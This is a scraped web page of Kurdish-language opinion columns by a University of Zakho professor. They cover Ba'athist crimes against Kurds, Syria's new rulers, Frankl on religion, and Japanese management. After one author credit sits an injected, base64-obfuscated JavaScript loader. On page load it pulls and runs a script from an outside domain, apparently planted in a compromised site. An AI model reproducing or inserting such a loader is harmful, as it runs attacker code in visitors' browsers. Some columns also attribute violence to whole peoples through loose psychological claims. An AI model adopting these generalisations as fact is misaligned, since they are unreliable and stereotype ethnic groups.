1- ارام ، صباح(2004). الملامح السياسية لتاريخ الكرد الحديث والمعاصر.
2- الخليل، أحمد محمود ( 2012 ). صورة الكورد في مصادر التراث الاسلامية.
* پرۆفیسۆرێ‌ هـ. /بسپۆرێ‌ سایكۆلۆژییا پەروەردەیی/ زانینگەها زاخۆ

د. نەسرەدین ئیبراهیم گۆلی *

دهێتە گۆتن هەر گیانەوەرەك گیانەوەرە و نەزانە، لێ‌ ئەڤ گیانەوەرە جارەكا دیتر بسەر وی جهێ‌ ناكەڤت یێ‌ تێدا بزەحمەت بكەڤت و ئێشەك ژ كەس یان جه یان پرەكێ‌ دیتبت، و چ جاران وێ‌ تەحلیێ‌ ژبیرناكت. ئەڤە كەتوارێ‌ سایكۆلۆژیایا گیانەوەرانە، كو زانایێن وەكی دارۆینی و… هتد، ئاماژە پێدای. د پەرتووكا خۆ یا بناڤێ‌ «كوردێن ئیراقێ‌« (the Kurds of Iraq) ئۆفرا بێنگیۆ (Ofra Bengio)، جارەكا دیتر بیرا مە ل هەمی وان تەحلی و زەحمەتا خەلكێ‌ مە ل سەردەمێ‌ رژێما سەدامێ‌ گۆڕبگۆڕ دیتی، دئینت. سالێن هەشتێیان «جەهنەما كوردان» دهێتە هژمارتن.
وێ‌ رژێمێ‌ نەك تنێ‌ دوژمن، بەلكو كوردێ‌ خزمەتا وی ژی ب چاڤێ‌ نەیار ددیت و ب سەدان ژ وان ل سێدارێ‌ دان و ژ وان ژی برایێ‌ جەلال تالەبانی و گەلەك ژ ئەندامێن پارتا وی، ل دەمەكی وان رۆژا هەڤپەیمانی دگەل هەبی. ئەوێن ئەڤرۆ پشتا خۆ ب پشكەك ژ وان كەس و لایەنێن ئەڤرۆ ل بەغدایێ‌ گرێداین نزانن ئەو هەر ئەوێن دوهینە بەس رەنگ و ناڤێن وان نەوەك ئێكن، بەلێ‌ هزر و دیتنا وان بۆ مە كوردستانیان هەر ئەوە یا بەعسییا هەبی و بەلگە ژی رەفتارێن وانە دگەل مە. و ئەڤە راستیەكا تەحل و نەگوهۆڕ و سایكۆلۆژیایا وانە و بەشەك ژ بناسێن وێ‌ بۆ پەروەردەیەكا هەڤپشك دزڤڕیت، یاكۆ زانایێن وەكی پرۆفیسۆر د. تەقی ك. ئەسەدی ل زانكۆیێن ئەمریكا و بسپۆرێ‌ مەژی و دەمارا و هەروەسا پرۆفیسۆر د. حێسام نۆزەری بسپۆرێ‌ بایلۆژی ل زانكۆیێن فرەنسا و تایوان، دبێژن كارتێكرنێ‌ ل مەژیێ‌ وان و خانەیێن وان یێن دەماری دكەت و بەرێ‌ وان ددەتە وان جۆرە رەفتار و ئاراستەیا هزری.
دەمێ‌ مرۆڤ ڤێ‌ پەرتووكێ‌ دخوینت، یاكۆ پشتا خۆ ب بەلگەنامەیێن بدەست ئەمریكییا كەتین گرێدای، تو دێ‌ بێژی نە بەری 20-30 ساڵا، بەلكۆ دوهی و پار و پێرارە. كا چاوا بۆ شكاندنا كوردا، و تێكنەچۆنا نەخشا «وەتەن عەرەبی» وەلاتێن عەربی پشتەڤانی لێدكر، و كا چەوا توركیا هاریكارییا وێ‌ دكر، و چەوا بناڤێ‌ ئایینی ئەنفال دكرن، و چەوا وان نەك تنێ‌ سەرباز (جێش) و ئیستخباراتێن خوە تێگەهاندین، بەلكۆ (250 هزار) جەحشك یان «فەوجێن بەرگرییا نیشتمانی» ژی وەسا تێگەهاندبین كە «پێشمەرگە كافرن و دڤیا وەك كافر سەرەدەری دگەلدا بێتەكرن و هەر تشتێ‌ وان، هەتاكو نامووس و ژنێن وان بۆ وان حەلالە».
هەتاكو نوكە و بەری چەند هەیڤا ژی هەمان ئەو هەلسوكەفت ژ وان میلیشییایا هاتە دیتن، چ داعش و چ ئەوێن پشتی وان، هێڕشی كوردستانێ‌ كرین. د دیتنا وان دا كوردستانی كافرن و بزاڤا ڤەقەتاندنا خۆ ژ ڤی «وەتەن عەرەبیێ‌« پیرۆز ددن و پێدڤییە جیهانا ئیسلامی ل دژی ڤێ‌ چەندێ‌ بسەكنت.
ئەم دبینین كو كۆمكارا عەرەبی بۆ شەهیدبوونا چەند كەس ژ گەنجێن بێتاوانێن نەتەوێ‌ نەعەرەبی ل فەلەستینی لسەر دەستێ‌ سەربازێن توندرەویێن ئیسرائیلێ‌، وەكی سەدان جاران كۆمبووینە، لێ‌ هەر وێ‌ كۆمكارا خودانا «ناڤەك گران و هۆزەك وێران»، نە سالێن هەشتییان و نە دوهی و نە ئەڤرۆ، تنێ‌ پێنج خولەكان ژی بۆ نەتەوەیا كورد و سەدان هزار شەهیدێن لسەر دەستێ‌ وان هاتینەكوشتن، كۆم نەبین و ئەڤە چ دگەهینیت؟
دەمێ‌ مرۆڤ ڤێ‌ پەرتووكێ‌ دخوینیت دزانین یێ‌ پشتا خوە ب نەتەوەیێن «وەتەن عەربی» و هیڤی و قەنجییا وان گرێبدت، پالێ‌ پویشییە، ڤێجا نەخاسمە ئەوێن د ڤێ‌ باهۆزا بەربوویە دەڤەرێ‌ بزاڤا ئێكگرتنا ئێراقێ‌ ددەن. تاوان ژ هندێ‌ مەزنتر هەیە تو وەسا هزر بكەی ئێكگرتنا وەلاتەكی هند پیرۆزە دا تو ب هزاران مرۆڤێن ناخوازن تێدا بژین بناڤێن ئایینی جینۆساید بكی و سەد و بیست مەلیۆن ژ وی نەتەوەی و مەلیارەك ژ وی ئایینی خۆ ل وێ‌ حەشامەتا كۆشتییان بێدەنگ بكەن.
پەرتووك نیشانددت كا سایكۆلۆژیایا بەشەك ژ سیاسەتوان و دەمارگیرێن ناسیۆنالیستێن عەرەب ل بەغدایێ‌ هنگی و نۆكە بۆ ڤێ‌ هزرا خۆ هەمی رێك و چەك و هۆڤاتی ل كوردستانیان جەڕباندین، و یا ژ هەمیان سەیرتر كوردە، یێ‌ تێدا دلێ‌ وی خوەشە د وەلاتەكی دا دێژیت و چاڤێ‌ وی ل مووچێ‌ وێ‌ و قەنجییا وێ‌ یە، بەلێ‌ هەر بەر و دارەكا ڤێ‌ ئاخێ‌ خوینا شەهیدەكێ‌ كوردستانێ‌ ژ هەمی ئایین و نەتەوەەكی یێ‌ پێڤە و گیانێ‌ وان شەهیدان ژ وان سلە ئەوێن ژ بلی ئازادیێ‌ و سەرخۆبوونێ‌ خەیالەكا دیتر دكن، یاكۆ خاڤە و خۆدانێ‌ وێ‌ هزرێ‌ تنێ‌ « پالێ‌ پویشی» یە.

ژێـدەر:ـ
بينيغو، أوفرا (2014): كُرد العراق: بناء دولة داخل دولة، ط.1، دار الساقي مع دار آراس للنشر، أربيل: اقليم كوردستان العراق، 432 ص.
* پرۆفیسۆرێ‌ هـ. /بسپۆرێ‌ سایكۆلۆژییا پەروەردەیی/ زانینگەها زاخۆ

د. نەسرەدین ئیبراهیم گـۆلـی*

ئاماژە و سەربۆر وەسا نیشاددەن هێشتا جڤاكێن نۆكە یێن دەڤەرێ‌ و نەخاسمە جهێن وەكی سووریا كارتێكرنا سیستەمێ‌ ژیانا بیابانی دەرنەكەفتینە و قۆرتا نەبینە. بەلگە ژی رەوشا وی وەلاتیە پشتی رووخانا رژێما بەعسی. پرۆفیسۆر فلیپ مەتی، وەسا دبینت حەزا كۆشتنێ‌ و شەڕكرنێ‌ لنك تاكێ‌ بیابانی كاودانەك مێنتالی و عەقلی و (سایكۆلۆژی)، و بەرهەمێ‌ ژیارا تایبەتا وان دەڤەرایە، چونكی مرۆڤ ل وێ‌ ژینگەهێ‌ بەردەوام رووی ب رووی برس و خەلایێ‌ دبت و كۆشتن وەك واشرێ‌ تەناهیێ‌ بیە مەزنترین و بهێزترین سیستەمێ‌ ئایینی و جڤاكی د وێ‌ ژینگەهێ‌ و دناڤ وان مرۆڤاندا (1:ب.22).
زانایێ‌ مەزن، عەلی وەردی، د ژێدەرێ‌ خوارێدا ئاماژەی ب سەرهاتەكێ‌ ددەت كو ئاماژەیەكە ب راستییا گۆتنا سەری. و دبێژیت: لسەردەمێ‌ خەلیفەیێ‌ سێیەمێ‌ راشدین دا پرۆسەیا (فەتح) كرنێ‌ ( كو ب خۆ رەنگەكێ‌ كۆلۆنیالیزم و داگیركرنێ‌ بی)، راوەستیا و ئاریشە د ناڤبەرا جڤاكا مۆسلمانادا ل وێ‌ قۆناغێ‌ پەیدا و زێدە بین و موسلمان هەتا ئێڤارێ‌ ب سەروچاڤێن ئێكدو وەربین. ئینا خەلیفەی كۆنفرانسەك گرێدا بۆ هندێ‌ چارەسەرەكێ‌ بۆ ڤێ‌ چەندێ‌ پەیدا بكەت. ئینا عەبدوللایێ‌ كۆڕێ‌ عۆمەری پێشنیار كر خەلیفە بڕیارا جیهادێ‌ بدەت دا خەلك مژویلی (فەتحا) بن (هەمان ژێدەرێ‌ سەری: ب.23). دیارە ئەڤ خوویە و بیروباوەرە، وەكی كارۆل یۆنگ، دەروونناسێ‌ بەرنیاس، دبینیت وەك پێكهاتەیەك سایكۆلۆژی ژ نڤشەكی بۆ نفشەك دیتر هاتیە ڤەگۆهاستن و ئەڤرۆ گەهشتیە نفشێ‌ نوكە و وەكی پێكهاتەیەكێ‌ سایكۆلۆژیێ‌ جێگیر ل دەلیڤە و بیاڤێن جۆدایێن جڤاكی و سیاسی دەردكەڤن و نموونەیا هەر زیندی ژی گۆڕەپانا سیاسییا پشتی ئەسەدییە ل سووریایێ‌.
لدەمەكی وەسا دهاتە هزركرن پشتی رژێما بەعسییا سووریا خەلكێ‌ ئەزموون و وان وەرگرتبن و تەناهی و ئارامی سیبەرا خۆ ب سەر ڤی وەلاتیدا بكێشیت بەلێ‌ وەسا دەرنەكەفت. هەر زوی ململانێ‌ ل ناڤ تەخ و ئالیێن جودا و نەخاسمە گرۆپێن چەكدار دەركەفت. هەرچەندە كو بەرەیێ‌ سەرەكیێ‌ نوكەیێ‌ ڤی وەلاتی، ئانكۆ تەحریر ئەلشام و ب تایبەتی بەرپرسێ‌ ئێكەمێ‌ وێ‌، هندەك ب سەرڤە یا خۆ گوهۆڕی و د گۆتار و چاڤپێكەفتنێن خۆ دا هندەك میانڕەو و دیمۆكراسی دئینیت، بەلێ‌ ژبیرا مە نەچیت ئەڤ ئالیێن لەشكری لسەر بنەمایێ‌ فەلسەفە و ستراتێژییەتەك وەسا هاتینە دەیناندن و پێگەهاندن كو سایكۆلۆژیەتا دژاتیكرن و شەڕی بەشەكێ‌ جودانەكرییە ژ كەساتییا وان. بەلگە ژی بۆ ڤێ‌ ئاخفتنێ‌ تالیبانە، كو پشتی گەهشتن ب دەستهەلاتێ‌ ل ئەفغانستان و ژبەركو سایكۆلۆژیایا شەڕخوازی و خۆرتیكرنێ‌ بەشەكە ژ كولتوور و فەرهەنگێ‌ وان یێ‌ تایبەت، ب هێجەتە خۆ ل ڤی وەلاتی و یێ‌ دیتر بدەت. چەند جاران شەڕێ‌ ب ئیرانێ‌ فرۆتی و ئیران ژبەركو د كاودانەكێ‌ سیاسی و ناڤخۆیی و ئابووریێ‌ خرابدایە، نەشیایە خۆ ل تالیبان بدەت، ل دەمەكی كو خودێ‌ ئیران ژی هەر پەروەردەیا تالیبانێ‌ یا هەی بەس شیعەیە و هزرا جیهادیزمێ‌ د دەروونێ‌ خۆ دا یێ‌ هەی. و شەڕفرۆتنا تالیبان دگەل پاكستانێ‌ ژی گەهشتە چەند پێكدادانا و كوشتی و بریندار هەبین. دەستهەلاتا نوی یا سووریا هەمان زهنیەتا عەبدوللایێ‌ كۆڕێ‌ عۆمەری یا هەی و ئەو دیپلۆماسیەتا نوكە د گۆڕێ دا هەی هەمی ژپێخەمەت بدەستڤەئینانا رایا گشتی و جیهانی یە و نەخاسمە ژ بۆ گەهشتن ب دەستهەلاتەكا شەرعیتر و ب ڕێكا هەلبژارتنانە و بەشەك ژ ب هێزییا ڤێ‌ گریمانەی بۆ هندێ‌ دزڤڕت كو پشتەڤانەكێ‌ ب هێزێ‌ سیاسەتا دەستهەلاتا نۆكەیا سووریا وەلاتێ‌ توركیایە، كو ناكۆكیێن كویر یێن دگەل ئیرانێ‌ و هێزێن كوردی ل رۆژئاڤایێ‌ هەی و دبیت د داهاتوویدا ببنە پالدەرەك كو پشتی گرتنا دەستهەلاتێ‌ ب ڕەنگەكێ‌ یاسایی، ئالیێن وەكی تەحریر ئەلشام، گەڕەكا دیتر یا شەری دگەل لایەنێ‌ كوردی ل رۆژئاڤا دەست پێبكەن. و ئەڤە ژی لدەمەكییە كو هێزێن كوردی ب پشتەڤانیا ئەمریكا، د نۆكەدا، نە ل هیڤیێنە چەكێ‌ خۆ دانێن چونكی چەك دانانێ‌ وەك گەفەك لسەر هەبوونا خۆ دبینن. و دبیت نابەینكاریێن ئالیێن كوردستانی، هەتاكۆ لسەر ئاستێن بلندێن هەرێما كوردستانێ‌، بۆ نێزیككرنا دەستهەلاتا نوی یا سووریا و هێزێن كوردی، كارتێكرنەك بەرچاڤ د سیاسەت و سترتێژیێن شەڕخوازیێن ئالیێن جیهادی دناڤ دەستهەلاتا نوكەیا سووریا دا نەبت. ئەڤە ئانكۆ دەلیڤە بۆ شەڕفرۆتنێ‌ هەردەم یێ‌ هەی و پێدڤی دكەت ئالیێن كوردی، ژبلی ئێكدەنگی و ئێكڕێزیێ‌ د ناڤخۆ دا، بۆ هەر كاودان و ئەگەرەكێ‌ ئامادە بن و یا ژ هەمیان گرنگتر پێداگریكرنە لسەر ماف و داخوازیێن گەلێ‌ كورد ل سووریا، كو زۆڵم و زۆردارییەكا زۆر یا لێهاتیەكرن و قۆربانیێن مەزن یێن بۆ هاتینەدان. ئەڤرۆ دەستهەلاتا سووریێ‌ د لاوازترین ئاستێ‌ خۆ دایە و دەلیڤە بۆ هندێ‌ گۆنجایە ئالیێن كوردی ب هەمی شیانڤە بزاڤا چەسپاندن و جێگیركرنا مافێن كوردان د داهاتوویێ‌ وی وەلاتی و نەخاسمە د دەستوورێ‌ نوی یێ‌ سووریێ‌ بدەن و وەكی سەرۆك بارزانی د كۆمبوونێن خۆ دا ل گەل ئالیێن كوردی یێن سووریا بەردەوام تەكەزی لسەر پاراستنا بەرژەوەندیێن گەلێ‌ كورد ل وی وەلاتی كریە، كار بكەن، بەروڤاژی دبیت دەستهەلاتا سووریێ‌ ل ئاییندەی دا و دەمێ‌ جهێ‌ پێیێن خۆ قایمكرن، جارەك دیتر ل هزرێن كەڤنەپەرستێن خۆ بزڤڕن و گەڕەكا دیتر یا شەڕێن نەخواستی و دژوارتر ژ یێن نوكە، بسەر دەڤەرێن كورد بهێنەسەپاندن و دۆزا گەلێ‌ كورد ل رۆژئاڤا جارەك دیتر پاش دا بزڤڕیت.
ژێدەر:
1- علي الوردي (1995). وعاظ السلاطين، ط.2، داركوفان، لندن.
* پرۆفیسۆرێ‌ هاریكار / زانكۆیا زاخۆ

د. نه‌سره‌دین ئیبراهیم گۆلى*
زانایێ ب ناڤوده‌نگێ ده‌روونناسیێ و ب ڕه‌گه‌ز جوهیێ ئه‌لمانیا، فرانكل، د بیاڤێ گرنگییا ئایینى ل نك مرۆڤى دبێژیت:” پێدڤیاتى ب بهایێن ئایینى ئه‌له‌مێنته‌كێ ڤه‌شارتییه‌ د ناخ و ده‌روونێ مرۆڤان دا”. به‌لێ پا جیاوازییا وان تنێ یا د ” چاوانییا تێگه‌هشتنا وان ژ وێ و خۆدایێ خۆ” وه‌كى جه‌نابێ سهرۆك بارزانى دفه‌رمۆت، له‌وما چه‌ند نه‌یا به‌رئاقله‌ كه‌س و لایه‌نه‌ك منه‌ته‌كێ ل مرۆڤان بكه‌ن كه‌ئه‌وێن ئیناینه‌ د ئایینه‌كى دا، هند ژى نه‌یا ڕه‌وایه‌ خۆرتى ل وان بهێته‌ كرن بۆ وێ ئێكێ چونكى دێ كاره‌سات و جینۆسایدێن وه‌كى ئه‌رمینیا و هۆلاكۆست و كوردستان ژێ په‌یدا بیت. و ” مرۆڤ ئازادن چاوا د ئایین و خودایێ خوه‌ دگه‌هن و وى دپه‌رێستن”. دیاره‌ ئه‌ڤ جۆره‌ فه‌رمایشت و گۆتنه‌ نه‌ هه‌وانته‌نه‌. ئه‌و هزره‌ ئه‌زموونا سه‌ركرده‌یه‌كێ خۆدان سه‌ربۆره‌كا ئایینى و سیاسى و جڤاكییه‌، و یا زانایه‌كێ هه‌ڤچه‌رخه‌ ژ ژیانێ ل ڤێ جیهانێ. ڤیكتۆر فانكل (Victor Frankl, 1905-1997) ته‌كه‌زێ لسه‌ر هندێ دكه‌ت كه‌ ئاراسته‌یا مرۆڤى بۆ ڤه‌دیتنا ڕامانێ بۆ ژیانێ و ئارمانجێن داهاتوویێن ژیانێ كه‌ وى لبه‌ره‌ بده‌ستخۆڤه‌ بهینیت، وى هند ب شیان دكه‌ت كه‌ دێ پێ كرێتن خوه‌ لبه‌ر نه‌خۆشترین و گرانترین جۆرێن ئه‌زموونێن ژیانێ و ڕه‌نج و ئێش و ئازاره‌كێ بگریت، ئه‌ڤ هزر و بنه‌مایێ به‌رهه‌مێ ئه‌زموونا وى ب خوه‌ یه‌ كه‌ ل ده‌مێ كێشانا گه‌له‌ك گڤاشتنێن سایكۆلۆژى و جه‌سته‌یى ل زیندانێن ئه‌لمانیا نازى و سه‌رده‌مێ هۆلاكۆستا ڕه‌ش و جینۆسایدا جۆهییان، شیاى پشتى كۆ خه‌لك كۆم كۆم د سۆپه‌ و ته‌نویرێن مرۆڤ سۆتاندنێ دا دمر، ب ساخى قۆرتال ببیت. شێوازێ وى یێ بناڤ و ده‌نگ بۆ چاره‌سه‌رییا سایكۆلۆژى بناڤێ “گه‌ڕهان لدویڤ واتایا ژیانێ” دهێته‌نیاسین، ئه‌ركێ ڕینماییكرنا مرۆڤان بۆ ژیان و به‌رده‌وامیدانه‌ ب ژیانێ و بڕێكا ده‌یناندنا و هزركرن و ئارمانجان بۆ خوه‌ و ل نك خوه‌ بۆ داهاتووى، ب ئه‌ركێ خۆ دزانیت. وى باوه‌ریى ب ڤێ چه‌ندێ هه‌بى نه‌ساخیێن ده‌روونیێن مرۆڤان به‌رهه‌مێ نه‌بوونا هیچ جۆره‌ ئارمانجه‌كێیه‌ د ژیانێ دا، و ئه‌و ئێك ژ وان بناسێن مه‌زن د باوه‌را ئایینى دا دبینیت. دیاره‌ ژى مه‌به‌ستا وى ژ ئایینى باوه‌رییه‌كا مۆكم و په‌یوه‌ندییه‌كا ده‌روونییه‌ دگه‌ل خۆدایه‌كى ڕاستین و كه‌توار. ئه‌ڤه‌ ئه‌و ئێنێرژییه‌ یا وى د ژیانێ دا بهێز دكه‌تن و وزه‌ و پۆتانسیێله‌ك پۆلاین دده‌ته‌ وى بۆ خۆڕاگرى لبه‌ر وان ئێش و ئازارێن مرۆڤى هیچ ده‌ستهه‌لاته‌ك بسه‌ر نه‌هێلانا وان دا نینه‌. ئه‌گه‌ر ئه‌و بخوه‌ وه‌سا نه‌بایه‌ چ جاران د وان ئۆردیگه‌هێن زۆره‌ملێ و كۆیرهه‌خانه‌یان قۆرتال نه‌دبى و خۆ لبه‌ر وان كۆل و كۆڤانان نه‌دگرت. لێ چ گۆمان تێدا نینه‌ ئه‌و باوه‌رى و په‌یوه‌ه‌ندى ئه‌و یا مرۆڤى ب خوه‌ هه‌بیت نه‌كۆ یا كه‌س و لایه‌ن و بازرگانێن ئایینى ب شێوازێن جۆدا د هزر و مێنتالیته‌یا وى دا بچینن و ل هنده‌ك كاودانان وى بگه‌هیننه‌ ئاسته‌كێ دژوار و ده‌مارگیرانه‌ و دۆگماتى و هشكباوه‌ریێ، دلێ وى ژ مرۆڤان و كه‌سان و ئایین و نه‌ته‌وه‌ و نه‌ژادێ خۆ و یێن خه‌لكا دیتر ڕه‌ش و وان ل به‌ر چاڤێن وى تارى و ته‌حل بكه‌ت یان ژى ببیته‌ ده‌رگه‌هه‌ك ته‌حلتر و هه‌ستا گونه‌هباریێ لنك كه‌سان بگه‌هینیته‌ گۆپیتكێ و ژیان ژى لبه‌ر به‌رزه‌ ببیت. به‌لێ ئانكۆ كاكل و هێڤێن و تۆڤێ ئایینى د ناخ و ده‌روونێ هه‌ر كه‌سه‌كى دا یێ هه‌ى، به‌لێ هه‌كه‌ر ده‌ستكارى و مایتێكرن تێدا هاته‌كرن ئه‌و تۆڤ، دبیت، خرش و خاڤى تێدا په‌یدا ببیت یان ژى ژ ئالیێ گه‌له‌ك لایه‌ن و هه‌لپه‌ره‌ستان بهێته‌ بكارئینان بۆ مه‌به‌ستێن تایبه‌ت و كه‌سۆكى. داعش و هه‌ڤشێوه‌ى وان قۆربانیێن وێ مێنتالیته‌یا چاندنا تۆڤێ ده‌مارگیرییا ئایینى نه‌ و ئه‌و تنێ خوه‌ دبینن و هه‌مى هزر و مرۆڤ و ئایینى د دیتنا وان دا شاشن، ل ده‌مه‌كى كه‌ سه‌رچاڤه‌یێ هه‌مى ئایینان جهه‌كه‌.
*بسپۆرێ زانستێن پێداگۆگى و په‌روه‌رده‌یى/فاكۆلتییا په‌روه‌رده‌/ زانینگه‌ها زاخۆ(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

د. نه‌سره‌دین ئیبراهیم گۆلى*
چ گۆمان تێدا نینه‌ ژاپۆن ئه‌ڤرۆ جه‌مسه‌ره‌كێ ئابوورى و پیشه‌ییه‌ ل ته‌ڤایا جیهانێ و یا شیاى جهه‌ك تایبه‌ت بۆ خوه‌ بگریت، ئه‌ڤ چه‌نده‌ جهێ پرسیارێیه‌ كو وه‌لاته‌ك یاكو تا سه‌دسالییا نۆزدێ ئێك ژ پاشكه‌فتیترین و وه‌لاته‌ك كلاسیك بوویه‌ ل جیهانێ، چاوا شیایه‌ پشتى جه‌نگێ جیهانیێ دوویێ و نه‌خاسمه‌ سالێن هه‌شتییان هۆسا زووى پێشبكه‌ڤیت؟
و به‌رسڤ ژى یا د ڤێ چه‌ندێ دا كو ئه‌ڤ پێشكه‌فتنه‌ به‌رهه‌مێ سیسته‌مێ رێڤه‌برن و كارگێڕییا وى وه‌لاتییه‌، كو تایبه‌تمه‌ندیێن خوه‌ یێن هه‌یین و خوه‌ د رێبازه‌كێ دا دبینیت كو دبێژنێ قوتابخانه‌یا كارگێڕییا ژاپۆنى، كو خودان بها و ساخله‌تێن تایبه‌ت بخوه‌یه‌ و نموونا وێ ل وه‌لاتێن دیتر كێمه‌.
ئه‌ڤ رێبازه‌ ته‌كه‌زیێ لسه‌ر هنده‌ك تێگه‌هێن كارگێڕى دكه‌تن كو دبنه‌ ئه‌گه‌رێ په‌یدابوونا سازانه‌ك جڤاكى هه‌ره‌وه‌زى یا تایبه‌ت د ناڤ ئه‌ندامێن رێكخراو و داموده‌زگه‌هان دا، لسه‌ر بنه‌مایێ فه‌لسه‌فه‌یا كارگێڕییا كو ژاپۆنیان باوه‌رى پێهه‌ى و گونجاى و ئاڤاكرییه‌ لسه‌ر بنه‌مایێن بهایێن جڤاكا ژاپۆنى، كو تاك تێدا پێگه‌هشتى.
ژاپۆنى ب چاڤه‌كێ وه‌سا سه‌حدكه‌نه‌ رێكخراو و دامه‌زراوێن كارگێرى هه‌روه‌كو ره‌فتاره‌ك مرۆڤى و ب كۆم دهێته‌ ئه‌نجامدان و تێدا ره‌فتارێن تاكى دگه‌ل یێن جڤاكى و ب كۆم تێكهه‌ل دبن، وه‌كى كیانه‌كێ جڤاكى و هه‌ره‌وه‌زى هه‌ڤئاهه‌نگ دبن و تێدا به‌رژه‌وه‌ندیێن گشتى جهێ به‌رژه‌وه‌ندیێن تایبه‌ت و كه‌سۆكى دگرن، و ئه‌ڤ چه‌نده‌ نه‌ ب خۆرتى و نه‌ ب زۆرى، به‌لكۆ ب هه‌مى قه‌ناعه‌تڤه‌ ژ لایێ ئه‌ندامێن وێ رێكخراوێ دهێته‌ ئه‌نجامگرتن و هێڤێنێ وێ ژی كارێ هه‌ڤپشك و پرۆگرامه‌كێ دیمۆكراسیانه‌ و پشكدارییا هه‌مه‌لایه‌نه‌یه‌. و رێكخراو و ده‌زگه‌هێ تاك تێدا كار و شۆل دكه‌ت جهێ كارى و یێ ژیانێیه‌، و ئارمانجێن جڤاكى و ب كۆم دگه‌ل ئارمانجێن تاكى تێكهه‌ل دبن و هه‌مى پێكڤه‌ كاردكه‌ن بۆ بده‌ستڤه‌ئینانا وان و سه‌ركه‌فتنا وى ده‌زگه‌هى و كارگه‌هێ ئانكۆ سه‌ركه‌فتنا هه‌میان و مفایێ وێ ژى یێ هه‌میانه‌.
ب ڤى ره‌نگى و ڤێ فه‌لسه‌فێ رێكخراو و دامه‌زراوه‌، خانه‌یه‌كا جڤاكى و هه‌ڤگرتییه‌ وه‌ك خێزانه‌كێ و هه‌ر ئه‌ندامه‌كى تێدا ئه‌ركه‌كێ لسه‌ر ملى و پێدڤییه‌ كار بكه‌ت بۆ سه‌ركه‌فتنا وێ، چونكى ژێده‌رێ ژیار و ژیانا وییه‌، و دگه‌ل هندێ ئه‌ڤ كارگه‌هه‌ جهێ ئارامى و ته‌ناهیێ یه‌ بۆ وى و دبته‌ ئه‌گه‌رێ جێگیرییا ئابوورى ل نك وان تاكان، په‌یدا ببیت و ل دویڤدا ژی ته‌ناهییا ده‌روونى و جڤاكى ل نك وان ئه‌ندامان مسۆگه‌ر بكه‌ت و پێدڤیاتى و داخوازیێن وان بجه بینیت و تێر بكه‌ت. تێدا رێزگرتن و به‌رژه‌وه‌ندیێن گشتى و هه‌ڤپشك و ژێیاتى و ڤیان و نێزیكبوون بسه‌ر سه‌قایێ رێكخراوێدا زاله‌.
هه‌مى ئه‌ندامێن ڤێ دامه‌زراوێ و كارگه‌هێ هاریكارن د كاركرنێ دا و د چاره‌سه‌رییا ئاریشه‌یێن وێ، و بلندكرنا ئاستێ به‌رهه‌مئینانێ، و باوه‌رى د ناڤ وان دا و ل هه‌مى ئاستێن به‌رپرسیاره‌تیێدا، د بلندترین ئاستێ خوه‌ دایه‌، و پالده‌ره‌كێ ئه‌رێنى یێ كارى و ره‌فتارێن تاكینه‌. چاڤدێرییا خۆدى و تاكى جهێ چاڤدێرییا فه‌رمى دگریت و هه‌ر كه‌سه‌ك به‌رپرسه‌ ژ كار و ره‌فتارێن خوه‌ و ئه‌ڤه‌ به‌رپرسیاره‌تییه‌كا ئه‌خلاقییه‌ لنك هه‌میان.
سیسته‌مێ كارگێڕییا ژاپۆنى باوه‌رییا ب هندێ هه‌ى د بابه‌تێ سه‌ره‌ده‌ریكرن دگه‌ل كاركه‌ر و پاله‌یاندا هه‌مى بزاڤ بێنه‌كرن دادپه‌روه‌رى و بابه‌تیانه‌بوون هه‌بیت، و یێ كار نه‌كه‌ت و به‌رهه‌م نه‌بیت جهێ وى د رێكخراوێدا نینه‌، (وه‌كى كورده‌وارییا مه‌ دا دبێژن: نانێ نه‌كه‌ران ل چ ئه‌ردان نینه‌). و كار و بزاڤ و پاداشتكرن ب ڕه‌نگه‌كێ پێكڤه‌یه‌ ژ پێخه‌مه‌ت سه‌ركه‌فتن و به‌رهه‌مئینانا گشتى و ب كۆم، و ئه‌ڤ چه‌نده‌ د بڕیارێن گرنگدا ژی ل به‌رچاڤ دهێته‌ وه‌رگرتن و بڕیار ب گشتى و ب هاریكارى و پشكدارییا هه‌میان دهێنه‌دان، كار لسه‌ر هندێ دهێته‌كرن ئه‌ڤ بڕیاره‌ ببنه‌ كه‌توار و تنێ مه‌ركه‌به‌ك نه‌بن لسه‌ر كاغه‌زان، ئانكۆ تنێ گۆتن نه‌بن به‌لكۆ ببنه‌ كریار، و هه‌ر تاكه‌ك به‌رامبه‌رى وێ بڕیارێ به‌رپرسیاره‌تیێ هلدگریت، و ئه‌ڤ چه‌نده‌ دبته‌ ئه‌گه‌رێ هندێ پالده‌راتییه‌ك بۆ بجهئینانا وێ بڕیارێ ل نك هه‌میان په‌یدا ببیت.
سیسته‌مێ كارگێڕییا ژاپۆنى بزاڤێ دكه‌ت تۆڤێ ڤیانێ و ژێیاتیێ د ناڤ دامه‌زراوه‌ و كارگه‌هان دروست بكه‌ت و هه‌مى خه‌ما وێ بخۆن و به‌رژه‌وه‌ندیێن وێ بپارێزن و ب خه‌مخۆری ڤه‌ ئه‌ركێ لسه‌ر ملێن خوه‌ راپه‌ڕینن، و كاره‌ك بێته‌كرن پاله‌ و كاركه‌ر هه‌ست ب هندێ بكه‌ت ژ ئالیێ وێ رێكخراوێڤه‌ چ مه‌ترسى و گه‌ف لسه‌ر وى نینن، و به‌رده‌وام ژ ڤى كارى بۆ كاره‌ك دیتر دهێته‌ ڤه‌گۆهاستن داكۆ شه‌هره‌زاى د هه‌مى كار و ئه‌ركان دا په‌یدا بكه‌ت و رێخۆشكه‌ر بیتن بۆ پێشكه‌فتن و سه‌ركه‌فتنا وى د كاری دا.
هه‌كه‌ر ئه‌م به‌رێ خوه‌ بده‌ینه‌ ژینگه‌ها ژاپۆنى دێ بینین ئه‌ڤ پره‌نسیپ و بنه‌مایه‌ یێن ژ كاكلكا بهایێن وێ جڤاكێ هاتینه‌ وه‌رگرتن و بینه‌ ئه‌گه‌رێ گرنگیپێدانا تاكێ ژاپۆنى ب كار و پیشه‌یێ خوه‌ ل هه‌ر جهه‌ك و هه‌ر ئاسته‌كێ هه‌بت، و چ جهێ گۆمانێ نامینیت دێ زانین بۆچى جڤاكه‌كا وه‌كى ژاپۆنى ل بن سیبه‌را ڤێ سیسته‌مێ رێڤه‌برنێ ئه‌ڤرۆ جهه‌ك تایبه‌ت ل جیهانا پێشكه‌فتیدا یێ هه‌ى.
